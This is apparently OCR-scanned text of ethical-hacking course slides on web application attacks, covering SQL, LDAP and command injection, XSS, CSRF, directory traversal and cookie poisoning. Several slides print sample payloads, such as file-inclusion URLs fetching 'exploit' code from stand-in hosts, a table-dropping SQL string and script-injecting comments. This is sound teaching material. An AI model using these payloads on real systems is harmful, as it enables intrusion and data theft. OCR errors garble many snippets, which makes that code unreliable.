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Unmask the Invisible Hacker.




Web Application Attack Report

PHP applications are three times more
vulnerable to Cross Site Scripting Attacks in
comparison to .NET applications

-

Wehbsites running WordPress were attacked

24.1% more than websites running on all
other CMS platforms combined

Retail websites were targeted by 48.1%
of all attack campaigns

in 2014, attacks have increased 44% in P
duration in comparison to 2013

AWS servers originated 20% of all known
vulnerabilities (CVEs) exploitation attempts

In 2014, remote file inclusion [RFI)
attacks increased 24% in comparison to

2013

http:/fwww. imperva. com
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Variety of Hacking Actions cleH
Within Web App Attacks Pattern .| ..

Use of Stolen Creds

Use of Backdoor or C2

Abuse of Functionality

Brute Force

XSS

Path Traversal

Forced Browsing

05 Commanding

>

http:/f fwnwew_statista_.com
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. Module Objectives

Understanding Web Application Understanding Web Application
Concepts Countermeasures

Understanding Web Application Threats .../
Web Application Security Tools

Understanding Web Application

Hacking Methodolo . — .
6 BY Overview of Web Application Penetration

Web Application Hacking Tools Testing
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IModule Flow

3 Web App
Hacking Pen

Methodology Testing

‘ .

Web
Application © Counter-
Hacking measures
Tools r
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Introduction to Web Applications

Web applications provide an interface between end users and
web servers through a set of web pages that are generated at
the server end or contain script code to be executed dynamically

within the client web browser

Though web applications enforce certain security policies, they
are vulnerable to various attacks such as SQL injection, cross-
site scripting, session hijacking, etc.

Web technologies such as Web 2.0 provide more attack surface
for web application exploitation

Webh applications and Web 2.0 technologies are invariably used
to support critical business functions such as CRM, SCM, etc. and
improve business efficiency
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How Web Applications Work

http://jugEyboy.com, ?id=6329&print=Y

Internet Firewall Web Server

Operating System Web Application

5 [~ [~}

6329 Tech

SELECT * from news where id = 6329
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Web Application Architecture

" Internet™ )

Weh '

- Services
Clients :

l Web Browser '
D e, Application Server
Presentation i ' :
2=h| =g @
NET Com

Flash, fFe=—mem——— : Lot
" usiness
Smart Phones, Silverlight, External .
Web Java Script Web | i
Appliance Services Cis COM+

Business Layer

Legacy Application

Data Access
Web Server

l Presentation Layer l

Firewall - e Database Layer
Proxy Server,

HTTF Request Parser Cache I *

Cl_{)u_l._'! Services

Serviet Resource Authentication —— Database Server
Container Handler and Login B2B
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Web 2.0 Applications C|IEH

Cortiffed § Evhlesl Hachar

J  Web 2.0 refers to a generation of Web applications that provide an infrastructure for more dynamic user
participation, social interaction and collaboration

Blogs (Wordpress)
Advanced gaming

New technologies like AJAX {Gmail, YouTube) Dynamic as opposed to static site content

Mobile application (iPhone) ; | % RS5-generated syndication

Flash rich interface websites Social networking sites [Facebook,

' Twitter, Linkedin, etc.)

Frameworks (Yahoo! Ul g J— Y
Library, jQuery) S | m  Mash-ups (Emails, IMs, Electronic
' payment systems)

Cloud computing websites like k. "8 _ i o2 4 y wikis and other collaborative applications
(amazon.com) . . O | G

Google Base and other free Web services

Interactive encyclopedias and dictionaries [ (Google Maps)

Online office software {Google Docs and Microsoft light) zd
Ease of data creation, modification, or
deletion by individual users
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. Vulnerability Stack

, g T A Business Logic Flaws
Custom Web Applications L ayer/ .y Technical Vulnerabilities

Open Source / Commercial

¥
l LS

Database

IE;J Oracle / MysQL / Ms sQL

?’E’

Web Server

Operating Ut _ A\ Windows ffl;nsu;

Network ter / Switch

Security -' g IPS / IDS
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IModule Flow

Web App
Concepts

3 Web App
Hacking Pen

Methodology Testing

‘ .

Web
Application © Counter-
Hacking measures
Tools r
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Web Application Threats -1 C(|EH

Cortiffed § Evhlesl Hachar

Information Broken Account

101010

101

010101 Leakage Management }fp_ .‘

-_." 4 N ;
Cookie Insecure Improper ' |
Poisoning Storage Error Handling \ N /

Parameter/Form | AR, o
Tampering . .-

sQL Denial of
Injection Service (DoS)

Unvalidated Injection Broken Access Broken Session
Input \  Flaws Control Management

Cross Site Cross Site Security
Scripting (XSS) Request Forgery Misconfiguration
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. Web Application Threats - 2

Platform T ﬁ'm :;"‘
Exploits

Insecure Insufficient - Failure to
Direct Object Transport Layer . Restrict URL
References Protection

Insecure
Cryptographic
Storage

R . 7 Security
6 : DMZ 7 Management
: b Protocol Attacks . ;i
1;“ L I.- II--

Exploits

Obfuscation
Application

Unvalidated
Redirects and
Forwards

Authentication
Hijacking

Session
Fixation Attack
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Unvalidated Input

Input validation flaws refers to a web application vulnerahility
where input from a client is not validated before being
processed by web applications and backend servers

An attacker exploits input validation flaws to perform
cross-site scripting, buffer overflow, injection attacks,
etc. that result in data theft and system malfunctioning

: string sql = "select * from Users
htitp: f/www . juggyboy . com
. . where
;loglf.as?x?u.?e;:]asons user ="" + User.Text + ""
pass=springtie and pwd="" + Password.Text + "'™r

H..r'u

Browser Post Request Modified Query

Browser input not
validated by the web
application

Database

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhIn0-TeaM wE FrEE t0 FIY HaCkRhIn0-TeaM

Parametexr/Form Tampering | C/EH

Lervfied § Eidoal  Toaduor

J A web parameter tampering attack involves the manipulation of parameters exchanged
between client and server in order to modify application data such as user credentials
and permissions, price, and quantity of products

J A parameter tampering attack exploits vulnerabilities in integrity and logic validation
mechanisms that may result in X55, SUL Injection, etc.

http://www.juggybank.com/cust.asp ?profile=21&debit=2500 @ <€ . Tampering with the

URL parameters

hitp://www.juggybank.com/cust.asp?profile=82&debit=1500 <&

Other parameters can

be changed including
attribute parameters

http://fwww.juggybank.com/stat.asp?pg=531&status=view

http://www.juggybank.com/stat.asp?pg=147&status=delete | Ex=s=ofp=ae===== =nEssEsaEssnnEN AT iR 5
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Directory Traversal CEH

Cortiffed § Evhlesl Hachar

access restricted directories

-~ 'manipulate variables "\ - =000 -dot-dot-slash tﬂ equences and its.

Accessing files located outside the web publishing directory using directory traversal

hittp:/ fenanw.juggyboy.com/GET/process.php. /.. /. [l S L fete/passwd

Attacker i : = : . = 'Jason.php'; .
' !if { is set( § COOKIE['THEME'] } ) :
:  Stheme = § COOKIE[ THEME'l: :
* include (

* " /home fusers/juggyboy/ Jason/" .

E root:ad8b24ald3es:0:1:5ystem Operator:/:/bin/ksh .
1 daemon:®:1:1::/tmp: : Vulnerable Server Code
E Jason:a3b698a76f76d57.:182:100:Developer:/home/users /lason/: /binfcsh
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Security Misconfiguration

Easy Exploitation
Fl Using misconfiguration vulnerabilities, attackers gain
. %‘ unauthorized accesses to default accounts, read
mOos " '#* unused pages, exploit unpatched flaws, and read or
S c— o *¢¢ write unprotected files and directories, etc.
R 5
¥ 8

L
N - A

Common Prevalence
Server : P : :
. 0y I Security misconfiguration can occur at any level
® = = =|Configuration = = = of an application stack, including the platform,
Problems web server, application server, framework, and
custom code
o [
i &

Example

& The application server admin console is automatically
installed and not removed

& Default accounts are not changed

& Attacker discovers the standard admin pages on server,
logs in with default passwords, and takes over
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Injection Flaws

2 Injection flaws are web application vulnerabilities that allow untrusted data to be
interpreted and executed as part of a command or query

Attackers exploit injection flaws by constructing malicious commands or queries that
result in data loss or corruption, lack of accountability, or denial of access

Injection flaws are prevalent in legacy code, often found in SQL, LDAP, and XPath queries,
etc. and can be easily discovered by application vulnerability scanners and fuzzers

—— —“

SQL It involves the injection of malicious SQL
Injection queries into user input forms Berves

Command It involves the injection of malicious code
Injection through a web application

LDAP It involves the injection of malicious LDAP
Injection statements

—ﬁ__
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. SQL Injection Attacks

4 SQL injection attacks use a series of malicious SQL queries to directly

— - manipulate the database

SQAL injection . o .

e - An attacker can use a vulnerable web application to bypass normal security
measures and obtain direct access to the valuable data

- SQL injection attacks can often be executed from the address bar, from
within application fields, and through queries and searches

01 | <?php

test') ;DROP TABLE Messages; —— 02 unction save email (Suser,
message) =

03 | {

$sgl = "INSERT INTO
04 Hesscaiges (

When this code is sent to the database
server, it drops the Messages table
05 user, messadge
06 ) VALUES (

'Suser’,
07 | - Smessage’

08 ) B

i 09 return mysgl query (S=gl) ;

5 10 | }
11 | 2>

Internet |

= SQL Injection vulnerable server code

Mote: For complete coverage of SOL Injection concepts and technigues, refer to Module 13: SOL Injection
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Command Injection Attacks

Shell An attacker tries to craft an input string to gain shell access to a web (
Injection server

Shell Injection functions include system(), startProcess (),

.'«.__-.:IJ
1r}ﬁg java.lang.Runtime.exec (),
L

System.Diagnostics.Process.Start (), and similar APls

HTML This type of attack is used to deface websites virtually. Using this | (
Embedding attack, an attacker adds an extra HTML-based content to the
vulnerable web application

In HTML embedding attacks, user input to a web script is placed into
the output HTML, without being checked for HTML code or scripting

File /_

Injection The attacker exploits this vulnerability and injects malicious code
into system files

http: //www. juggyboy . com/vulnerable .php?COLOR=http: [ /fevil/
exploit?
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Command Injection Example

Attacker Launching : —
Code Injection ; U http://jugeyboy/cgi-bin/lsproflspro.cgihit_out=1036

Attack

Malicious code: B DY com
www . juggyboy .com/banner .gif| | newpassword| | 1036 - =5
|60] 468 =
User Name | Addison

(-

,

Email Address | addi@juggyboy.com

An attacker enters malicious code (account
number) with a new password S Site URL

www _juggyboy.com

=N an B o

Banner URL | .gif | | newpassword | 1036 ] 60| 468

e B @

The last two sets of numbers are the Password | newpassword
banner size

—

Once the attacker clicks the submit button,
the password for the account 1036 is

changed to “newpassword Poor input validation at server

script was exploited in this attack
The server script assumes that only the that uses database INSERT and
URL of the banner image file is inserted UPDATE record command
into that field
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. File Injection Attack

St <?php

C}E} Sdrink = ‘coke’;

if (isset( $ GET['DRINK'] ) )
<form method="g=t"> Sdrink = E_GET[‘DRINK‘]:
<select name="DRINE"> b require( 5drink . '.php' );
<option value="pepsi">pepsi</option> ¢ v
<option wvalue="coke">coke</option>
<fselect>
<input type="submit">
< form>

[ [

Server File System

Client code running in a browser Vulnerable PHP code

http: //www. juggyboy.com/orders .php?DRINE=http://jasoneval .com/exploit? < Exploit Code

A Attacker injects a File injection attacks enable attackers to exploit

S remotely hosted file at vulnerable scripts on the server to use a remote file
www.jasoneval.com instead of a presumably trusted file from the local
containing an exploit file system

Attacker
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What is LDAP Injection?

An LDAP injection technique is used to take _

advantage of non-validated web application input 5':::}{ (attributeName operator value)
vulnerabilities to pass LDAP filters used for

searching Directory Services to obtain direct Operator Example

access to databases behind an LDAP tree |

{mdbS torageQuota>=100000)

What is LDAP?

LDAP Directory Services store and organize
information based on its attributes. The information
is hierarchically organized as a tree of directory
{displayName—+John*)
i

AND (&)

LDAP is based on the client-server model and
clients can search the directory entries using
filters

T P TN T T T T R T T T T T T e T T T T AT ST T T T T T N T F R e R T T T A N e T T
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How LDAP Injection Works

LDAP injection attacks are similar to SQL injection attacks but exploit user parameters to
generate LDAP query

To test if an application is vulnerable to LDAP code injection, send a query to the server
meaning that generates an invalid input. If the LDAP server returns an error, it can be
exploited with code injection techniques

Account Login

: ¢
i ........................... »: Username | juggyboy)(&))

Password blah

Attacker

v

E I EIE I FE N T E NN NI IR N AN IS E NI EE I I A NI IS E RN E NI I A NN E I E NN NI I I NN NN

If an attacker enters valid user name "juggyboy”, and injects juggyboy)(&)) then the URL string becomes
(&(USER=juggyboy)(&))(PASS=blah)) only the first filter is processed by the LDAP server, only the query
(&(USER=juggyboy)(&)) is processed. This query is always true, and the attacker logs into the system
without a valid password

LE R RS R R R R R RERRRE RS RRREERR R R R RN RENRR R R R R R R R RN R R R R R R AR NN R R R R AR RN R AN R R R R R AR N AR NN NN NN NN e
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Hidden Field Manipulation Attack

http: //www. juggyboy

<form method="post"
. com,.*"page .aspx?prod

Hidden Field
action="page.aspx"> . bl
-r:input t]f'pE="hiddEﬁ" name= uct=Jugg}rbcy%2GShir FnﬂE e zﬂﬂ'm Aﬂ:al:k Request
"PRICE" walue="200.00"> t&price=200.00
Product name: <input type= 4 )
"text" name="product” : 1 http: { [ virvrw Jjuggyboy
alue="4d o Shirt"><br> \ - ¥ .com/page . aspx?prod
value u?g}r oY ir ) i . Hidden Field -'"P g PXEAPR :
Product price: 200.00"><br> . unct=Juggyboy%20Shir
<input type="submit" wvalue= c - Price = 2.00 tiprice=2.00
"submit"> '
</ form>

When a user makes selections on an HTML page, the selection is typically stored as form
field values and sent to the application as an HTTP request (GET or POST])

p
Product Name | Juggyboy Shirt
. HTML can also store field values as hidden fields, which are not rendered to the screen

by the browser, but are collected and submitted as parameters during form submissions

p
Product Price LEGD

Attackers can examine the HTML code of the page and change the hiddan field values in
rasmssrreEsrEreRssestsnteestnsnnesnransnnnnnd order to change post requests to server
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Cross-Site Scripting (XSS) Attacks

Cross-site scripting ('XSS' or 'C5S') attacks expleoit vulnerabilities in dynamically generated web pages, which
enables malicious attackers to inject client-side script into web pages viewed by other users

It occurs when invalidated input data is included in dynamic content that is sent to a user's web browser for
rendering

Attackers inject malicious JavaScript, VBScript, ActiveX, HTML, or Flash for execution on a victim's system by
hiding it within legitimate requests

[

Malicious script execution Session hijacking

Data manipulation Key logging and remote monitoring
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HaCkRhInO-TeaM

How XSS Attacks Work

Normal Request

404 Mot found

,.r’jas-:::un_file html

XSS Attack Code

404 Mot found
Wating B

A WMEMING: The application
Fas pncouriesed 20 el

YOuR SeCuiTy iS NOt EnOUgh
wE FrEE t0 FIY

o http://Juggyboy.com/jason file.html

-
"

v
Server Code

Server Response -
{IIIIIIIIIIIIIIIIIIIIIII‘9 LR {html}
<body>

<? php

HaCkRhInO-TeaM

This example uses a
vulnerable page which handles
requests for a nonexistent pages,

a classic 404 error page‘/

{Handles requests for a
monexistent page, a
classic 404 error page)

print "Not found: ™ .
urldecode (§ SERVER["
REQUEST URI"]);

>
</body>
</html>

A

RSN NSNS R A SRS RS RN AR RS R

Server

http: //juggyboy . com/<scriptralert ("WARNING: The
application has encountered an error") ;</script>

Note: Check the CEH Tools DVD, Module 12 Hacking Web Application for access cheat sheet

HaCkRhInO-TeaM
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Cross-Site Scripting Attack
Scenario: Attack via Email

User dicks

Hi, You have won a

- lottery of $2M, dick the malicious link
. dl! : . - 7 COLOLTD & i ey

| 3 .
" = H _;l

HREF=http://bank.co

Sends email with Internet
malicious link =

Attacker harvests these
credentials and gets access

to victim's bank account Server sends a
page to the user =

along with client =
profile dialog-hox

{....."..u“

User enters profile
information and

clicks Submit . "
Request is received by

server hosting bank.com

& In this example, the attacker crafts an email message with a malicious script and sends it to
the victim:

<A HREF=http://bank.com/registration.cgi?clientprofile=<SCRIPT>
malicious code</SCRIPT>>Click here</A>

& ‘When the user clicks on the link, the URL is sent to bank.com with the malicious code

& The legitimate server hosting bank.com website sends a page back to the user including the
value of clientprefile, and the malicious code is executed on the client machine
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XSS Example: Attack via Email

Malicious Attacker's
Browser Script Server

Legitimate
Server

! <A HBEEF=http://jungogyboybank. com/
o Construct a malicious link | ez ti=cial Bl sl BE_as 2o B i v g
- malicious code</SCRIPT>>Click here</A>

Email the URL to user and convince user to click on it

Request the page !
---------------------- 1- EEsSEsEEsEEEEsEEEREEEEE EE

:q : Page Wlth malicious script

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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XSS Example: Stealing Users'

Cookies

Malicious
Browser Script

e Collect user’s conklps

Redirect to attacker’s server e

Send the reque#t with the user’s conklés

Mttacker's

Server

1
I I T I T T T T T T I n..-u.n.-.-n.-..u.-..-......-....}-:
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XSS Example: Sending an
Unauthorized Request

ElEEEREEREEERAEYYES Lagitimatﬂ

Malicious Attacker's
Server

Browser Script Server

i = c
: =

= = |
- : j : . . / 3
Email the URL td user and convince user to click on it : L —

e ................... } | 5

e Request the pa:ge . .

Page with malicious script

o Construct a malicious link

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




XSS Attack in Blog Posting

>80 @G

User visits the
TechPaost TechPost
T e el TechPost Ry e Farhy and it
Facebook acquires file-sharing service website Facebook acquires file-sharing service
Mew York-based start-up that bets users privately : AT S '} Hew York-based start-up that lets users privately

and sporadically share files through a drag-and- and sporadically share files through & drag-and-
drop interface with additional options__..____. drop interface with additional options___._.._..

Leawve your comment Leawe your comment

r lason, | love your blog post! User
Attacker sscript=onload=window.location="http
W fereewjugeyboy.com'sfscripts
= . Malicious code
<script>onload=
Attacker adds a malicious script in i bl
the comment field of blog post "hitp:/ www. jugey
: boy.com’
<fscript>
is injecting the
blog post

: Comment with
malicious link is

o |
Fd

f{. “ stored on the server
(.

R E S RIS E S EEEEE RN

Boy.com

User redirected to a malicious
website juggyboy.com

ém 1ElI-iillllﬂll!lihllhlhlli
o

o >
N g

Database Server Web Application 2N A
Malicious Website
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XSS Attack in Comment Field

i ao@@ : hnp;;l'fwww.u&;pust.nrg} } '“

User visits the
TechPost

Facebook acquires file-sharing service website Facebook acquires file-sharing service
MNew York-based start-up that bets users privately : . Mew York-based start-up that lets users privately
and sporadically share files through a drag-and- and sporadically share files through a drag-and-
drop interface with additional options. ... drop interface with addisional options
Comment

lason, | love your blog post!

- Miark [mark@ miccasoft. comi)

Leave your comment

r—

k

Leave your comment

g o il !
Jason, | love your blog post!

Attacker <scriptralert ("Hello
World") </ script>

L

3

Malicious code
<gcriptr*alert("Hello
World")</script>

is injecting the blog post

Attacker adds a malicious script
in the comment field of blog post

t CRLETERTEEER ELRRY |

Comment with
malicious link is
stored on the server

I

L R R R R R T ]

D 2

4“‘” e The alert pops up as soon e
' as the web page is loaded o |

Database Server Web Application Pop up Window
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Websites Vulnerable to XSS
Attack

xSed project provides. | [P e - A

L) CnH www.ssed.com/archive/special=1 ] =

information on all things
related to cross-site :

| =

- g = g [ T | —
il il b

= o

snn ALLacks shlreoneon

scrjpting Vulnerabi“ties Home Beves Arbiches  Adw Sebrwt Alects Links %B5imba Abouk: Cosbact

K55 Archive | X55 Archive ¥ | TOP Submitters | TOP Submitters % | TOP Pagerank | O oI

and is the largest O syndicate

R Comaims alreacy xss ed

online archive of XSS X Emnwia i) elbimrinent ks one
PR Pagerank by Alexa®,

Vulnerable WE bSitES “ou can subscribe to our mailing list to receive alarts by mail

Date Authar Damain

-

Flhirod

/0414 dhony wivrve, bankaustria.at

Lt

2004/ 14 Jamaicoch vedtvwaa thaer. foxcom FHrTor

290414 s1ckbOy stampa.seronautica difesa.it murrar

Friarrar

19/04/14 AnonHiVIMinD areilly.com

Somhail
Hammou

2904714 w:hilnr.:lsu.:-lmunq.mm T

29704/14 Aarshit Mikkal wkiini ty.comcast.nok reEes

20704714 CtRoNiX radio. foxmeves.com mrren

19/04/14 The Priph3t locate.apple.com mirron
T or

19/04/14 Largar Yash receptome.stanford.edy

2804/14 Jamaicob byinvitationonbyphotos.amencanecpress.com marron

w oy W W 5 W A S R X5

19/04/14 Jamaicoh wrorvr.dictation.philips.com mwarrar

http://www.xssed.com
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Cross-Site Request Forgery (CSRF)
Attack

J Cross-Site Request Forgery (CSRF) attacks exploit web page vulnerabilities
that allow an attacker to force an unsuspecting user's browser to send
malicious requests they did not intend

d The victim user holds an active session with a trusted site and
simultaneously visits a malicious site, which injects an HTTP request for
the trusted site into the victim user’s session, compromising its integrity

' using his session cookie

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




How CSREF Attacks Work

symbol | ) <<7php
_] session start():

User logs into trusted server using his credentials o . if (isset(§ REQUEST['symbol']

F
Shares |

{furma;tign:"bgv.php" L T T T T E Y] &S

method="PO5T"> isset (5 REQUEST['shares']))
<p=Symbol: <input type="text" Server sets a session cookie in the user's browser i siocksis REOUEST] Sevss
name="symbol” /=< /p> : i R A e e kN e r s | T

<p>Shares: <input type="text" : 5 REQUEST['shares']) :}
name="shares” /></p> - - e Server

<p><input type="submit b Malicious code is executed in the

value="Buy" [></p> : : trusted server
<fformer

I i

I 4

-
& L,
i "

.Q-n-.-"-“-..-u-...............-..-u-u-.-n-

Attacker sends a phishing mail tricking
user to send a request to a malicious site

Malicious Code

Response page contains malicious code e

<img

sro="http: //juggyboy.com/j

uggyshop . php?symbol =MSFT&s

hares=1000" /> | Malicious
Server

e e T e T PR R PR EELY S -

User requests a page from the malicious server
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Web Application Denial-of-Service
(DoS) Attack

. Attackers exhaust available server resources by sending hundreds of resource-intensive requests,
such as pulling out large image files or requesting dynamic pages that require expensive search
operations on the backend database servers

Application-level DoS attacks emulate the same request syntax and network-level traffic
characteristics as that of the legitimate clients, which makes it undetectable by existing DoS
protection measures

“*

»
b

Why Arxe Applications Vulnerable? Targets

@ Reasonable Use of Expectations CPU, Memory, and Sockets

& Application Environment Bottlenecks » Disk Bandwidth
Implementation Flaws Database Bandwidth

Poor Data Validation Worker Processes

INAr
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Denial-of-Service (DoS) Examples

The attacker could create a program that submits the registration forms
repeatedly, adding a large number of spurious users to the application

The attacker may overload the login process by continually sending login
requests that require the presentation tier to access the authentication
mechanism, rendering it unavailable or unreasonably slow to respond

If application states which part of the user name/password pair is incorrect,
an attacker can automate the process of trying commeon user names from a
dictionary file to enumerate the users of the application

The attacker may enumerate usernames and attempt to authenticate to the
site using a username and incorrect passwords, which will lock out the user
account after the specified number of failed attempts.
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Buffer Overflow Attacks

R Vulnerable Code
Buffer overflow occurs when an application

writes more data to a block of memory, or T ——
buffer, than the buffer is allocated to hold char *dest buffer;
dest buffer = (char *) malleoc(10):
if (NULL == dest buffer)
return -1;
It enables an attacker to modify the target AT {argc > 1) {
. str dest buffer, ar 1]):
process’s address space in order to control N v
‘ printf ("The first command-line argument
the process execution, crash the process, is %s.\n", dest buffer); }

and delf? internal variables else { printf("No command-line argument
was given.\n"): } free (dest buffer) ;

return 0; }

Attackers modify function pointers to direct

program execution through a jump or call S
instruction and points it to a location in the

memory containing malicious codes

Mote: For complete coverage of buffer overflow concepts and technigues, refer to self study module
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Cookie/Session Poisoning

Cookies are used to maintain session state in the otherwise
stateless HTTP protocol

Modify the Cookie Content

Cookie poisoning attacks involve the maodification of the contents of a
cookie (personal information stored in a web user's computer) in order
to bypass security mechanisms

Inject the Malicious Content

Poisoning allows an attacker to inject the malicious content, modify
the user's online experience, and obtain the unauthorized
information

Rewriting the Session Data

A proxy can be used for rewriting the session data, displaying the cookie
data, and/or specifying a new user ID or other session identifiers in the
cookie
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How Cookie Poisoning Works

Attacker steals cookie
{Sniffing, XS5,
phishing attack)

&
Attacker ﬁ

GET /store/buy. aspx?checkout=yes HTTP/1.0 Host: www.juggyshop.com
Accept: " [* Referrer: hitp://'www_juggyshop.com/showprods_aspx Cookie:
SESSIONID=32585%6A5DD235A3587; BasketSize=3; tem1=1258; kem2=2658;
lem3=6652; TotalPrice=11568;

e

@.,;.;.?'

Web server replies with requested page and
sets a cookie on the user's browser

User browses a web page

GET /store/buy_aspx *checkout=yes HTTP/1.0 Host:
www_juggyshop.com Accept: * ™ Referrer:
http:/fwww_jugeyshop_ comshowprods_aspx Cookie:
SESSIONID=325896A5DD235A3587; BasketSize=3; ltem1=1258;
tem2=265%8; ltem3=6652; TotalPrice=100;

R RN RN R R N N AN I RN NN RN AN RN R RN

Attacker orders for product using modified cookie

RN RS EEE RN

{llrllrllllIlll'Ill.IllJllllIll-Ill'Illll N E I NI E NI NN NI NI NN NI NN R W

Product is delivered to attacker's address
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Session Fixation Attack M

- J In asession fixation attack, the attacker tricks the user to

T access a genuine web server using an explicit session ID value
Q')
|

- Attacker assumes the identity of the victim and exploits his
' credentials at the server

Attacker logs on to the bank website using his credentials

EEE R R T T T T T T T

3 Web server sets a session ID on the attacker's machine L
Attacker Server
o (juggybank.com)

swu

Attacker logs into the server using the victim's
credentials with the same session ID

Attacker sends an : -
email containinga @ _  bttp://juggybank.dom/log
link with a fix | 5 in.jsp?sessionid=4321

session ID &

User clicks on the link and is redirected to the bank website
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CAPTCHA Attacks

CAPTCHA is used to prevent automated software from performing actions that degrade the
quality of service of a given system

It aims to ensure that the users of applications are human and ultimately aid in preventing
unauthorized access and abuse

However, attacker can compromise the security of the web application by exploiting
vulnerabilities existed in CAPTCHA

Type of
CAPTCHA Attacks

Manipulating Attacking the
server-side CAPTCHA image
implementation

j——m -
= L= )
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Insufficient Transport Layer
Protection

Insufficient transport layer protection supports weak algorithms, and
uses expired or invalid certificates .

cz

Launch Attacks

+. Underprivileged SSL setup can also help the attacker to launch
phishing and MITM attacks

This vulnerability exposes user’s data to untrusted third parties and e
can lead to account theft l%
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Improper Exror Handling

Jd Improper error handling gives insight into source code such as
logic flaws, default accounts, etc.

A Using the information received from an error message, an
attacker identifies vulnerabilities for launching various web
application attacks

SIEES
Information o -
E iered

Null pointer exceptions @ BD}".C-GI]]

System call failure General Error

Datahase unavai Iahle Could not obtain post/user information
DEBUG MODE

- S0l Error: 10246 Can't open file: ‘nuke_bb 5_text.MYD'. {(ermo: 145
Network timeout kg S : R
SELECT w.username, u.user_id, u.user_posts, u.user_from, uuser_website, u.user_email,
. i U.USer_Mmsnm, u.user_viewemail, uwuser_rank, wuser_sig, uuser_sig_bboode_uid,
Datahase I nformatlnn u.user_allowsmile, p.*, pt.post_text, ptpost_subject, pt.bboode_wid FROM nuke_bbposts p,
nuke_users u, nuke_bbposts_text pt WHERE p.topic_id = "1547' AND pt.post_id = p_post_id
AND u.user_id = p.poster_id ORDER BY
P.post_time ASC LIMIT O, 15
Lime: 435
File: fuser/home,/geaks www vonage/modules/Forumsviewtopic.php

Web application logical flow

Application environment
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Insecure Cryptographic Storage

Insecure cryptographic storage refers to when an application uses poorly written encryption
code to securely encrypt and store sensitive data in the database

This flaw allows an attacker to steal or modify weakly protected data such as credit cards
numbers, SSNs, and other authentication credentials

Vulnerable Code Secure Code

public String encrypt (String plainText) { public String encrypt(String plainText) {
plainText plainText.replace (“a"” ,"z"}: DESKeySpec keySpec = new DESKeySpec (encryptEey)
plainText plainText.replace (“"b" ,"¥") ; SeeretleyFackany : factory: =

new SecretKeyFactory.getInstance (“"DES") :

SecretBEey key = factory.generateSecret(keySpec) ;

Cipher cipher = Cipher.getlInstance (“DES") ;
cipher.init (Cipher .ENCEYFT MODE, key):

byte[] utfBtext = plainText.getBytes (“UTFA"™) ;
byte[] enryptedText = ecipher.doFinal (utfBtext) ;

return Base64Encoder.encode (encryptedText) ; }

T —
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Broken Authentication and
Session Management

An attacker uses vulnerabilities in the authentication or session management functions
such as exposed accounts, session 1Ds, logout, password management, timeouts,
remember me, secret question, account update, and others to impersonate users

| ) |

l Session ID in URLs l

Inasmm Expl_ﬁitatinnl

| l ﬁmenut-Expiuitatiqn]

http://www. juggyshop.com/s Attacker gains access to the If an application’s timeouts are
ale/saleitems=304;jsessio o

g ‘:_“'rf_“ SLERE CL AR web application's password not set properly and a user
1id=120MTOIDEFXMOOQSABGCELHC .

B A ———— database. If user passwords simply closes the browser

are not encrypted, the without logging out from sites
attacker can exploit every accessed through a public
users’ password computer, the attacker can use
the same browser later and

exploit the user's privileges

Attacker sniffs the network
traffic or tricks the user to get
the session 1Ds, and reuses
the session 1Ds for malicious
purposes
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Unvalidated Redirects and
Forwards

- Unvalidated redirects enable attackers to install malware or trick victims into disclosing

passwords or other sensitive information, whereas unsafe forwards may allow access
control bypass

Unvalidated Redirect

— JUEEN - . ccennrnnannanaannnaanaanaananns .
Attacker sends an email containing User is redirected to
rewrite link to malicious server attacker's server
Attacker (http:/ favnw. jugeyboy. comyfredirect.

aspu?=http:/ fwww. evilserver.com) Malicious Server

Unvalidated Forward (= Ep

Ll httpswwow juggyshop.com,/sdmin.sp

Attacker requests page

. Create price list
from server with a forward I z

lhllil‘ﬂlihlihllrlibllllllil}
Attacker is forwarded
to admin page ® purchase records

8] Registered users
Attacker
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Web Services Architecture

WS-Security

|
| I ' r WS-Work Processes

WS-Federation ‘ | WS-SecureConversion

WS-Policy
W5 WS-Trust

Security r
Policy XML Encryption

g SAML Kerberos X.509

Security Token Profiles

XML Digital Signatures

XML, SOAP, WSDL, Schema, WS-Advertising, etc.

HTTP Fast InfoSet, etc.

1 f .Net TCP Channel,
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Web Services Attack

Web services evolution and its increasing use in business offers new attack vectors in an application

framework

Web services are based on XML protocols such as Web Services Definition Language (WSDL) for describing
the connection points; Universal Description, Discovery, and Integration (UDDI) for the description and
discovery of web services; and Simple Object Access Protocol (SOAP) for communication between web

services which are vulnerable to various web application threats

Attacker

Presentation Layer
XML, AJAX, Portal, Other

Security Layer
WS5-Security

Discovery Layer
UDDI, WSDL

Access Layer
SOAP, REST

Transport Layer
HTTP, HTTPS, JMS, Other

Web Services Stack
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~ Parameter tampering, WSDL probing,
SQL/LDAP/XPATH/OS command
injection, malware injection, brute-
force, data type mismatch, content
spoofing, session tampering, format

L. string, information leakage

Fault code leaks, permission and access
attacks, error leakage, authentication
and certification attacks

Buffer overflow, XML parsing, spoiling
schema, complex or recursive payload,
Dos, large payload

Sniffing, Snooping, W5-Routing,
Replay Attacks, Denial of Service

Web Services Attack




Web Services Footprinting Attack

Attackers footprint a web application to get UDDI information such as businessEntity,
business Service, bindingTemplate, and tModel

XML Query

POST finquire HTTP/1.1

Content-Type: text/xml; charset=ut{-&
SOAPAction: "™

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.4.2_04

Host: uddi.microsoft.com

Accept: text/html, image/gif, image/jpeg,*;
q=-2, {; g=.2

Connection: keep-alive

Content-Length:213

<?uml version="1.0" encoding="UTF-8" =
<Envelop
xmins="http://scemas.xmisoap.org/soap/envel
ope/">

<Body=

<find_service generic="2.0" xmins="urn:uddi-
or@api_v2"><name=amazon</name></find_ser
vice>

</Body>

</Envelop>

HTTP/1.1 100 Continue

XML Response

HTTP/1.1 200 OK

Date: Wed, 01 Jan 2014 11:05:34 GMT

Server: Microsoft-115/7.0

X-Powered-By: ASP.NET

X-AspMet-Verstion: 1.1.4322

Cache-Control: private, max-age=0

Content-Type: text/xml; charset=utf-8

Content-Length: 1272

<?xml version="1.0" encoding="utf-B" ?s<scap:Envelope

wmins:soap="http:/ [scemas.xmisoap.orgfsoap/envelope/"s ximns:xsi="http:/ fwww.w3.org 2008/ XM L5chema-
instance" xmins:xsd="http:/ /w3.org/2008/xmiSchema™><soap:Body><servicelist generic="2.0"
